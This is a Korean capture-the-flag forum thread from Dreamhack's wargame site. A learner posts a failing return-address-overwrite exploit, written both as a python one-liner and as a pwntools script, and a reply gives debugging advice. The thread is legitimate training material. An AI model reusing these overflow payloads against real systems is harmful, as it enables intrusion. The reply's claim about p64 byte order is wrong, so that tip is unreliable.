완료됨
코드 전송

(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00')";cat)| ./rao
이렇개 햇는데 도 안되서 11.png
이렇개 시도해봣는데 안되는이유를 알수잇을까요?

폰디버거는 이렇개 작성해습니다

from pwn import *

p = remote('host1.dreamhack.games',23171)
context.arch="amd64" # x86-64

payload = 'A' * 0x30
payload += 'B' * 0x08
payload += '\xdd\x11\x40\x00\x00\x00\x00'

p.recvuntil('Input: ')
p.sendline(payload)

p.interactive()

#시스템_해킹 #스택버퍼오버플로우 #멤커럽션
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
Rasser
워게임: 20

pwntools 쓰시면 저렇게 파이썬 안띄워놓고 파이썬 파일로 만들어서 실행시키셔도 됩니다.

from pwn import *
context.log_level	= "debug"
context.arch	 	= "amd64"
p = remote(‘host1.dreamhack.games’,23171)
e = ELF('binary file')

payload

p.interactive()

그리고 정상적으로 쉘이 따지면 저 switching interactive mode에서 명령어를 받아야 하는데, EOF에러가 뜬걸 보니 payload상에 문제가 있는거 같고, 리턴주소를 제대로 덮어씌웠는지 확인해보셔야 할거같습니다.
아마 pie가 안걸려있으면 주소는 리모트랑 동일할거 같으니까 payload보내고 gdb로 보셔서 정확히 rip에 원하는 주소가 덮여있는지 보세요.

from pwn import *
context.log_level	= "debug"
context.arch	 	= "amd64"
p = process('binary file')
e = ELF('binary file')

gdb.attach(p) # 현재 프로세스를 gdb에 붙임.
payload

p.interactive()

또한 p32나 p64쓰시면 편해요. p32(0xdeadbeef) = "\xef\xbe\xad\xde" , p64(0xdeadbeef) = "\x00\x00\x00\x00\xef\xbe\xad\xde" 요러케 바꿔줍니다

2022.05.10. 10:07